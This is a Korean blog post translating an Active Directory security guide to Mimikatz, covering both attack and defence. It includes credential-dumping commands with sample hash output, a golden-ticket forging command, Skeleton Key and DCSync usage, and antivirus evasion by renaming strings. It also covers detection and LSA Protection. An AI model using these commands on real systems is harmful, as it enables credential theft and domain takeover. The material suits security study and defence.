Hacking/Penetration Testing

Penetration@Mimikatz# Unofficial Guide to Mimikatz & Command Reference

hi0802 2017. 12. 14. 21:08


https://adsecurity.org/?page_id=1821


Introduction:

울타리의 양쪽에있는 많은 사람들처럼, Red & Blue는 Mimikatz의 기능 대부분을 잘 모를 것입니다. 그래서 이 정보를 찾을 수있는 모든 명령에 대한 정보를 모았습니다. 가장 유용한 명령에 대한 추가 내용으로 가능한 한 업데이트 할 계획입니다. 이렇게하면 Red & Blue 팀 모두가 전체 기능을 더 잘 이해할 수 있으며 보호를 위해 고용된 기업을 보다 안전하게  보안 할 수 있습니다.


Mimikatz&Credentials:

사용자가 로그온하면 다양한 자격 증명이 생성되어 LSASS (Local Security Authority Subsystem Service) 메모리에 저장됩니다. 자격 증명 데이터에는 Kerberos 티켓, NTLM 암호 해시, LM 암호 해시 (Windows OS 버전 및 패치 수준에 따라 암호가 15 자 미만인 경우) 및 일반 텍스트 암호 (다른 사람들과의 WDigest 및 SSP 인증을 지원하기위한 것)가 포함될 수 있습니다.

Windows 컴퓨터가 로컬 컴퓨터 SAM 데이터베이스 (및 AD 데이터베이스)에서 LM 해시를 만들지 못하게 할 수는 있지만 시스템에서 메모리에 LM 해시가 생성되는것을 막을수는 없습니다. 기본적으로 Windows Server 2008 및 Windows Vista에서는 명시적으로 설정하지 않는 한 사용자에 대해 LM 해시가 생성되지 않습니다. Windows 8.1 및 Windows Server 2012 R2부터는 LM 해시 및 "일반 텍스트"암호가 더이상 메모리에 저장되지 않습니다.

이 기능은 이전 버전의 Windows (Windows 7 / 8 / 2008R2 / 2012)에서 kb2871997로 "back-ported"되었지만 "일반 텍스트"암호가 LSASS에 저장되는 것을 방지하려면 다음 레지스트리 키를 "0"(Digest 비활성화)으로 설정합니다.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)


이 레지스트리 키는 사용자 환경에서 모니터링 할 가치가 있습니다. Windows 7 / 2008R2에서 Windows10 / 2012R2까지 모든 버전의 Windows에서 "일반 텍스트"암호를 LSASS에 넣도록 다이제스트 암호 지원을 활성화하려면 공격자가 1로 설정하면됩니다. Windows 8.1 / 2012 R2 이상에는 "UseLogonCredential" DWORD 값이 없으므로 작성해야합니다. 이러한 시스템에이 키가 존재하면 문제가 있음을 나타낼 수 있습니다.

대상 시스템에서 직접 코드를 실행하는 것은 공격자에게는 바람직하지 않으므로 Mimikatz는 원격으로 실행할 수있는 새로운 기능으로 지속적으로 업데이트됩니다. 여기에는 원격 시스템에 대해 Mimikatz를 DCSync나 PowerShell Remoting을 통해 원격으로 Invoke-Mimikatz를 실행하여 자격 증명을 덤프할 수 있습니다. DC에서 Mimikatz 코드를 실행하지 않고 도메인의 모든 Active Directory 계정에 대한 암호 데이터를 원격으로 가져 오는 최신 기능을 포함하고 있습니다.(올바른 권한을 얻으면 Microsoft의 도메인 컨트롤러 공식 복제 API를 사용합니다.)


Available Credentials by OS:

Benjamin Delpy는 OneDrive (더 이상 사용할 수 없지만 아래에 표시됨)에 엑셀 차트를 게시하여 메모리(LSASS)에서 사용할 수 있는 자격 증명 데이터 유형을 보여줍니다. Windows 8.1 및 Windows 2012 R2에는 향상된 보호 메커니즘이있어 메모리에 보관 된 자격 증명의 양과 유형이 줄어 듭니다.


PowerShell & Mimikatz:

Mimikatz 기능의 대부분은 "Invoke-Mimikatz" PowerShell 스크립트 (Joseph Bialek 작성)를 통해 PowerSploit (PowerShell Post_Exploitation Framework)에서 사용할 수 있습니다. Mimikatz 2.0 및 Invoke-ReflectivePEInjection을 활용하여 Mimikatz를 완전히 메모리에 로드 합니다. 이렇게하면 Mimikatz 바이너리를 디스크에 쓰지 않고 자격 증명 덤프와 같은 작업을 수행할 수 있습니다. PowerSploit 프레임 워크는 이제"PowerShellMafia" GitHub 저장소에서 호스팅됩니다.

Invoke-Mimikatz의 "Magic"은 Mimikatz DLL (스크립트에 내장 된)을 메모리에 로드할 수있는 기능입니다. Invoke-Mimikatz 코드는 인터넷 (또는 인트라넷 서버)에서 다운로드 할 수 있으며 touching disk 하지 않고도 메모리에서 실행할 수 있습니다. 또한 Invoke-Mimikatz를 적절한 권한으로 실행하고 대상 컴퓨터에 PowerShell Remoting을 사용하도록 설정하면 원격 시스템에서 파일을 설치하지 않고도 표준 Mimikatz 명령을 원격으로 실행할 수 있을뿐 아니라 다른 시스템에서 자격 증명을 가져올 수 있습니다.

Invoke-Mimikatz는 Mimikatz가 업데이트되면 업데이트되지 않지만 수동으로 업데이트 해야합니다. Will Schroeder (@HarmJ0y)는 Invoke-Mimikatz에서 Mimikatz DLL을 업데이트하는 것에 대한 정보를 제공합니다. (매우 복잡한 프로세스는 아닙니다). Invoke-Mimikatz의 PowerShell Empire 버전은 대개 최신으로 유지됩니다.

  • mimikatz를 사용하여 LSASS에서 자격 증명을 덤프하십시오. : Invoke-Mimikatz -DumpCreds
  • mimikatz를 사용하여 모든 개인 인증서를 내보낼 수 있습니다 (내보낼 수 없음으로 표시된 경우에도 해당). : Invoke-Mimikatz -DumpCerts
  • 원격 컴퓨터에서 디버그 권한을 가질 수있는 권한 상승 : Invoke-Mimikatz -Command "privilege :: debug exit"-ComputerName "computer1"

Invoke-Mimikatz "Command"매개 변수를 사용하면 Invoke-Mimikatz에서 커스텀된 Mimikatz 명령을 실행할 수 있습니다.


Detecting Mimikatz:

네트워크에서 Mimikatz 사용을 잠재적으로 감지하는 방법은 여러 가지가 있지만 보장할순 없다. Mimikatz의 소스 코드는 GitHub에 있기 때문에 Visual Studio를 사용하는 모든 사람이 자신의 버전을 컴파일 할 수 있습니다. "mimikatz"의 모든 인스턴스를 "kitikatz"로 바꾸어서 "kitikatz"라는 자체 버전의 Mimikatz를 만들었으며 이를 VirusTotal에서 검사한 결과 탐지율(4/54)이 좋지 않았습니다. Windows 10 시스템의 Windows Defender에서 이를 감지했습니다. Windows 10 시스템의 Windows Defender에서이를 감지했습니다. 저는 "Benjamin Delpy"와 "gentilkiwi"를 동일한 단어로 바꿨습니다. e를 3으로, i를 1로 대체했습니다. 탐지율(4/54)은 여전히 낮았으며 Windows 10 시스템의 Windows Defender가 이를 탐지하지 못했습니다.

Mimikatz & LSA Protection:

Windows Server 2012 R2 및 Windows 8.1에는 Windows Server 2012 R2에서 LSASS를 보호된 프로세스로 사용할 수있는 LSA Protection이라는 새로운 기능이 포함되어 있습니다. (Mimikatz는 드라이버를 우회 할 수 있지만 이벤트 로그에 약간의 노이즈가 발생 합니다.)

LSASS Local Security Authority Server Service(LSASS) 프로세스가 포함된 LSA는 사용자에게 로컬 및 원격 로그인을 확인하고 로컬 보안 정책을 적용합니다. Windows 8.1 운영 체제는 비보호 프로세스에 의한 메모리 및 코드 삽입 읽기 방지를 위해 LSA에 대한 추가 보호 기능을 제공합니다. 이는 LSA가 저장하고 관리하는 자격 증명에 대한 추가 보안을 제공합니다.

Enabling LSA Protection:

1. 레지스트리 편집기(RegEdit.exe)를 열고 다음 위치에 있는 레지스트리 키로 이동합니다. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control \Lsa 및 레지스트리 키 값을 "RunAsPPL"= dword : 00000001로 설정하십시오.

2. 새 GPO를 만들고 컴퓨터 구성, 기본 설정, Windows 설정으로 이동합니다. 레지스트리를 마우스 오른쪽 단추로 누르고 새로 만들기를 가리킨 다음 레지스트리 항목을 누릅니다. 새 레지스트리 속성 대화 상자가 나타납니다. 하이브 목록에서 HKEY_LOCAL_MACHINE을 클릭하십시오. 키 경로 목록에서 SYSTEM \ CurrentControlSet \ Control \ Lsa로 이동하십시오. 값 이름 상자에 RunAsPPL을 입력하십시오. 값 형식 상자에서 REG_DWORD를 클릭하십시오. 값 데이터 상자에 00000001.Click을 입력 한 다음 확인을 클릭합니다.

LSA Protection은 보호되지 않은 프로세스가 LSASS와 상호 작용하는 것을 방지합니다. Mimikatz는 여전히 드라이버 ( "+")로이를 우회 할 수 있습니다.


Detecting Invoke-Mimikatz:

  • 모든 Windows 시스템에 PowerShell v3 이상이 설치되어 있는지 확인하십시오. PowerShell의 최신 버전에는 특히 PowerShell v5와 같은 로깅 기능이 향상되었습니다.
  • 그룹 정책(Group Policy)을 통한 PowerShell 모듈 로깅 사용 : 컴퓨터 구성 > 정책 > 관리 템플릿 >  Windows 구성 요소 및 Windows PowerShell > 모듈 로깅 켜기 "*"를 입력하고 확인을 클릭하십시오. 그러면 모든 PowerShell 모듈을 포함하여 모든 PowerShell 작업이 기록됩니다





----- to do

"Sneaky" Mimikatz Execution:

Casey Smith (@subtee & blog)는 애플리케이션 허용 목록이 많은 사람들이 생각하는 만병 통치약이 아닌 방법을 보여주는 많은 작업을 수행했습니다. 그럼에도 불구하고 응용 프로그램 허용 목록 작성은 심층 방어 전략의 견고한 계층입니다. Casey는 또한 Mimikatz를 실행하는 많은 창의적이고 교활한 방법을 제시했습니다.

참고 : Subtee는 GitHub repo를 중단 했으므로 더 이상 작동하지 않으며 제거되었습니다.


Most Popular Mimikatz Commands:

다음은 가장 널리 사용되는 Mimikatz 명령 및 관련 기능 중 일부입니다.

  • CRYPTO::Certificates - 인증서 나열 / 내보내기
  • KERBEROS::Golden - golden/silver/trust 티켓(tickets) 생성
  • KERBEROS::List - 사용자 메모리에있는 모든 사용자 티켓 (TGT 및 TGS) 나열. 현재 사용자의 티켓 만 표시하므로 특별한 권한이 필요하지 않습니다. "klist"기능과 비슷합니다.
  • KERBEROS::PTT - 일반적으로 훔치거나 또는 위조된 Kerberos 티켓 (Golden / Silver / Trust)을 삽입하는데 사용됩니다.
  • LSADUMP::DCSync - DC에 개체 동기화를 요청. (계정의 암호 데이터 가져 오기). DC에서 코드를 실행할 필요가 없습니다.
  • LSADUMP::LSA - LSA Server에 SAM/AD 엔터프라이즈 검색 (정상, 패치 즉시 적용 또는 삽입)을 요청. 도메인 컨트롤러 또는 lsass.dmp 덤프 파일에서 모든 Active Directory 도메인 자격 증명을 덤프하는 데 사용합니다. 또한 / name : "/ name : krbtgt"매개 변수와 함께 krbtgt와 같은 특정 계정 인증 정보를 얻는 데 사용됩니다.
  • LSADUMP::SAM  - (레지스트리 또는 하이브에서) SAM 항목의 암호를 해독하기위해 SysKey를 가져옵니다. SAM 옵션은 local Security Account Manager(SAM) 데이터벵스에 연결하고 로컬 계정에 대한 자격 증명을 덤프합니다. 이것은 Windows 컴퓨터에서 모든 로컬 자격 증명을 덤프하는데 사용 됩니다.
  • LSADUMP::Trust - LSA서버에 신뢰 인증 정보Trust Auth Information을 요청하십시요. 연결된 모든 트러스트(Domain/forest)의 트러스트 키(패스워드)를 덤프합니다.
  • MISC::AddSid - 사용자 계정에 SIDHistory를 추가합니다. 첫번째 값은 타겟 계정이며 두 번째 값은 계정/그룹 이름(or SID)입니다. 
  • MISC::MemSSP - 악성 Windows SSP를 주입하여 로컬로 인증된 자격 증명을 기록(log)합니다.
  • MISC::Skeleton - 도메인 컨트롤러(Domain Controller)의 LSASS 프로세스에 스켈레톤 키(Skeleton Key)를 주입합니다. 
  • PRIVILEGE:Debu - 디버그 권한을 얻는다(Mimikatz의 명령어는 로컬 시스템 권한이 필요한 경우가 많습니다.)
  • SEKURLSA::Ekeys - Kerberos 암호화 키를 리스트 합니다.
  • SEKURLSA::Kerberos - 인증된 모든 사용자(서비스 및 컴퓨터 계정 포함)에 대한 Kerberos 자격 증명을 리스트 합니다.
  • SEKURLSA::Krbtgt - 도메인 Kerberos 서비스 계정(KRBTGT)의 암호 데이터를 가져옵니다.
  • SEKURLSA::LogonPasswords - 사용 가능한 모든 Provider의 자격 증명을 나열합니다. 일반적으로 최근에 로그온 한 사용자 및 컴퓨터 자격 증명을 보여줍니다. 
  • SEKURLSA::Pth - Pass- theHash and Over-Pass-the-Hash
  • SEKURLSA::Tickets - 사용자 계정 및 로컬 컴퓨터의 AD 컴퓨터 계정 context에서 실행되는 서비스를 포함하여 최근에 인증 된 모든 사용자에 대해 사용 가능한 모든 Kerberos 티켓을 나열합니다. kerberos::list와 달리 sekurlsa는 메모리 읽기를 사용합니다. sekurlsa는 다른 세션(사용자)의 티켓에 접근할 수 있습니다.
  • TOKEN::List - 시스템의 모든 토큰을 보여줍니다.
  • TOKEN::Elevate - 토큰을 가장합니다. SYSTEM권한으로 상승하거나 도메인 관리자 토큰을 찾기위해 사용합니다.
  • TOKEN::Elevate /doaminadmin - Doamin Admin 자격 증명으로 토큰을 가장합니다.

Mimikatz Command Guide:

Mimikatz는 "Mimikatz.exe"를 실행하거나 Command 및 Exit를 전달하여 대화형 모드에서 실행할 수 있습니다.(예 : 'Mimikatz "kerberos::list" exit;). Invoke-Mimikatz에는 대화형 모드가 없습니다. 
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 17 modules * * */
 



mimikatz(commandline) # privilege::debug
 Privilege '20' OK


mimikatz(commandline) # sekurlsa::logonpasswords


Authentication Id : 0 ; 646260 (00000000:0009dc74)
 Session           : RemoteInteractive from 2
 User Name         : adsadministrator
 Domain            : ADSECLAB
 Logon Server      : ADSDC03
 Logon Time        : 11/27/2015 11:41:27 AM
 SID               : S-1-5-21-1581655573-3923512380-696647894-500
 msv :
 [00000003] Primary
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 [00010000] CredentialKeys
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 tspkg :
 wdigest :
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * Password : (null)
 kerberos :
 * Username : adsadministrator
 * Domain   : LAB.ADSECURITY.ORG
 * Password : (null)
 ssp :   KO
 





KERBEROS

이 모듈의 명령에는 특별한 권한이 필요하지 않습니다.

KERBEROS::Ask – TGS 티켓 요청

KERBEROS::Clist – list tickets in MIT/Heimdall ccache

KERBEROS::Golden - golden/silver/trust 티켓 생성

이 명령은 검색된 패스워드 해시 타입을 기반으로합니다.

 Type 

 Requrement

 Scope

 Golden

 KRBTGT hash

 Domain/Forest

 Silver

 Service hash

 Service

 Trust

 Trust hash

 Domain/Forest -> Domain/Forest

 (based on account access)


Golden Ticket

골든 티켓은 KRBTGT NTLM 암호 해시를 사용하여 암호화하고 서명하는 TGT입니다.

골든 티켓 (GT)은 도메인의 모든 리소스에 도메인의 모든 그룹 구성원 (사실상 또는 무제한의 권리를 제공함)으로 도메인의 모든 사용자 (실제 또는 상상)를 가장하기 위해 만들 수 있습니다. 골든 티켓 (TGT)에는 PAC (사용자 그룹 멤버쉽 정보)가 포함되어 있으며 KRBTGT 계정에서만 열어 읽을 수있는 도메인의 Kerberos 서비스 어카운트(KRBTGT)를 사용하여 서명되고 암호화됩니다.

요약하면 공격자가 KRBTGT 암호 해시에 액세스하면 언제든지 AD에 액세스 할 수있는 골든 티켓 (TGT)을 만들 수 있습니다.

Mimikatz Golden Ticket Command Reference:

골든 티켓을 만드는 Mimikatz 명령은 "kerberos::golden"입니다.

  • /domain - 도메인 이름 예 : "lab.adsecurity.org"
  • /sid - 도메인의 SID 예 : “S-1-5-21-1473643419-774954089-2222329127”.
  • /sids - 티켓을 스푸핑 할 권한이 있는 AD 포리스트의 계정 / 그룹에 대한 추가 SID입니다. 일반적으로 루트 도메인의 엔터프라이즈 관리자 그룹(Eterprise Admins group)입니다. "S-1-5-21-1473643419-774954089-5872329127-519"
  • /user - 명의를 도용할 사용자 이름
  • /group (선택사항) - 기본 그룹 : 잘 알려진 관리자 그룹 (아래 설명)에 대해 513,512,520,518,519
  • /krbtgt - 도메인 KDC 서비스 계정(KRBTGT)에 대한 NTLM 암호 해시 TGT를 암호화하고 서명하는 데 사용됩니다.
  • /ticket(선택사항) - 골든 티켓 파일을 나중에 사용하기 위해 저장하기위한 경로와 이름을 제공하거나 /ptt를 사용하여 골든 티켓을 즉시 메모리에 삽입하여 사용합니다.
  • /ptt - /ticket 대신에 - 위조된 티켓을 즉시 메모리에 삽입하여 사용합니다.
  • /id(선택 사항) - 사용자 RID. Mimikatz 디폴트는 500입니다 (기본 관리자 계정 RID).
  • /startoffset (선택 사항) - 티켓을 사용할 수 있을 때의 시작 오프셋입니다 (일반적으로이 옵션을 사용하면 10 또는 0으로 설정 됨). Mimikatz 기본값은 0입니다.
  • /endin (선택 사항) - 티켓 수명(Ticket Lifetime). Mimikatz 기본값은 10 년(~ 5,262,480 분)입니다. Active Directory 기본 Kerberos 정책 설정은 10 시간 (600 분)입니다.
  • /renewmax (선택 사항) - 갱신 된 최대 티켓 수명. Mimikatz 기본값은 10 년(~ 5,262,480 분)입니다. Active Directory 기본 Kerberos 정책 설정은 7 일 (10,080 분)입니다.
  • /sids (선택 사항) - AD 포리스트([ADRootDomainSID]-519)의 Enterprise Admins 그룹의 SID로 설정되어 AD 포리스트(AD admin in every domain in the AD Forest) 전체에서 엔터프라이즈 관리자 권한을 스푸핑합니다.
  • /aes128 – AES128 키
  • /aes256 – AES256 키

Golden Ticket Default Groups:

  • Domain Users SID: S-1-5-21<DOMAINID>-513
  • Domain Admins SID: S-1-5-21<DOMAINID>-512
  • Schema Admins SID: S-1-5-21<DOMAINID>-518
  • Enterprise Admins SID: S-1-5-21<DOMAINID>-519 (포리스트 루트 도메인에서 위조된 티켓을 만들었지 만 AD 포리스트 관리자 권한에 /sids 매개 변수를 사용하여 추가하는 경우에만 효과적입니다.)
  • Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520

명령어 예제:

.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit